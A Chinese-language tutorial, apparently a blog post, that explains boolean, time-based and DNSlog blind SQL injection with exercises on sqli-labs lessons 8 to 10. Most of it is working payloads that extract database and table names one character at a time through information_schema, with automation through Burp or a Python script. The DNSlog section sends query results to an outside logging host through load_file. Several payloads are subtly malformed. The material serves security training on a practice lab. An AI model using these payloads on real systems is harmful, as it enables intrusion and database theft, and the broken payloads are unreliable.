盲注
布尔盲注:
代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,只返回right和wrong。这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的真和假来识别我们的判断是否正确,这就是布尔盲注
代码实现:
1 | $id = $_GET['id']; |
示意过程:
正常请求,id=1,返回id=1的数据,错误请求id=1’,返回与正确页面不同的页面 (如果页面返回假,说明系统执行的SQL语句为假)
比如:
1 | id=1 and left((select version(),1)=5--+ |
使用语句:
left():left(database(),1)>’s’
database()显示数据库名称,left(a,b)从左侧开始截取a的前b位regexp:select user() regexp ‘^r’
正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式
3.like:select user() like ‘ro%’
与regexp类似,使用like进行匹配
4.substr(),ascii():ascii(substr((select database()),1,1))=98
substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii的值
5.ord(),mid():ord(mid((select user()),1,1))=114
mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值
练习:
环境:sqli-lab less 8
id=1
1 | select * from users where id='1' limit 0,1 |
回显正确you are in
id=1’
1 | select * from users where id='1' ' limit 0,1 |
回显消失
id=1’ and ‘1’ = ‘1
1 | select * from users where id = '1' and '1' ='1' limit 0,1 |
回显正确you are in
将后者的逻辑判断改为2,回显消失,可以判断存在sql注入漏洞
使用left()来进行尝试
id=1’ and left((select database()),1)=’s’–+
1 | select * from users where id='1' and left((select database()),1)='s' --'limit 0,1 |
回显成功you are in
通过此类方法就能对库名,表名,列名进行查询
对表名查询
id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=’e’–+
1 | select * from users where id='1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+ |
回显成功 判断正确
注入流程就是这样,我们可以使用BP进一步提升效率,为字符添加变量,自动化跑(注意下数据库命名规则是a-z,0-9,_
尝试切换为regexp试试
id=1’ and (select database()) regexp ‘^s’ –+
1 | select * from users where id = '1' and (select database()) regexp '^s' --+' limit 0,1 |
回显成功判断正确
id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1),1) regexp ‘^e’ –+
1 | select * from users where id='1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1),1) regexp '^e' --+' limit 0,1 |
回显成功判断正确,如果要判断第二位,就直接在e后面加上自己想测的字符
切换为like
id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like ‘e%’ –+
1 | select * from users where id='1' and(select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%' --+ limit 0,1 |
这种表示匹配以e开头的字符串,后面同理regexp
切换为substr以及ascii
id=1’ and ascii(substr((select database()),1,1) = 115 –+
1 | select * from users where id='1' and ascii(substr((select database()),1,1) = 98 --+' limit ,1 |
截取了从第一位字符开始长度为一的字符的ascii并判断是否等于115,这里是回显成功判断正确
然后查表
id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) = 115 –+
这里回显失败判断错误,就可以借助Bp爆破字符了,爆破可得101时正确,接着调整字符长度和ASCII的值,直至爆破结束
时间盲注:
原理:
代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内容来进行判断,这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这就是时间盲注
代码实现:
1 | $id = $_GET['id']; |
示意过程:
登陆正常请求,name=admin&pwd=1返回登陆成功的页面,在不知道账号密码的情况发送登录请求,返回登陆失败的页面,构造sql语句,发送登陆请求,返回登陆失败页面,构造语句让程序延时执行,判断信息
构造逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行
核心语法:if(left(user(),1)=’a’,0,sleep(3));通过sql语句取到某个值,用left去user左侧的第一个字符,如果等于a,就立即执行,错误就延时3秒执行
真实场景:if(ascii(substr(database(),1,1))>115,0,sleep(5))%23
插入想要查询的数据,进行字符串截取,再进行比对
练习:
环境:sqli-lab less10
id=1 id=1’ id=1’ and ‘1’ =’2
进行一些简单的逻辑判断,均为一致的回显
采取上述时间盲注
id=1’ and if(left(user(),1)=’a’,0,sleep(3))–+
1 | select * from users where id='1' and if(left(user(),1)='a' , 0 ,sleep(3))--+' limit 0,1 |
很明显页面延迟了刷新,将字符a变为r,页面立即执行,通过这种方式就能对数据库的数据进行查询
id=1’ and if(left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=’e’,0,sleep(3))–+
1 | select * from users where id='1' and if(left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',0,sleep(3))--+' limit 0 ,1 |
页面立即执行了,可见就是表名第一个字符就是E,但是这种效率会比较低这里对时间盲注比较推荐使用工具或者脚本
时间盲注脚本:
1 | import requests |
这里脚本先对库名进行爆破,爆完库名修改为表名,列名即可
Dnslog盲注
每个网站都有对应的域名比如test.com ,同样每个域名都有对应的ip地址,而将ip地址与域名这两者互相转换的中间人就是DNS,这两者每次转换都会留下一定的记录,我们就可以将这个称为dnslog,其实就是记录用户访问域名的信息
原理:代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,我们可以通过布尔以及时间盲注获得内容,但整个过程效率低,需要发送很多请求进行判断,很可能触发安全设备的防护,所以需要一种方式减少请求,直接回显数据,这里可以使用dnslog实现注入
代码实现:
1 | $id = $_GET['id']; |
平台:ceye.io dns在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息比如 curl xx.dnsurl,xx这里就是我们可以自主输入的命令字符,如果输入的whoami,就会返回当前用户
另外mysql的load_file可以发起请求
例子:select load_file(concat(‘\\‘,’test’,’mysql.dnsurl\abc’));
构造语句,利用Load_file函数发起请求,使用dnslog接受请求,获取数据
核心语法:select load_file(concat(‘\\‘,(select database(),’mysql.dnsurl\abc’));
通过sql语句查询内容,作为请求的一部分发送至dnslog,只要对这一部分的语句进行构造,就能实现有回显的sql注入,值得注意的是,这些数据格式和内容都有限制,需要处理
练习:
环境:sqli-lab less9
id=1 或者其他逻辑判断
回显无效无法判断,如果有注入点就必然是盲注
采取dnslog盲注
id=1’ and select load_file(concat(‘\\‘,(select database(),’mysql.dnsurl\abc’));
1 | select * from users where id ='1' and select load_file(concat('\\\\',(select database(),'mysql.dnsurl\\abc'));--+' |
前去dnslog平台就可以看到库名
然后查表名
id=1’ and select load_file(concat(‘\\‘,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’mysql.dnsurl\abc’));–+
1 | select * from users where id='id=1' and select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'mysql.dnsurl\\abc'));--+' |
可以看到表名,列名就按照老套路继续走
但是其实效率还是不高,推荐使用脚本跑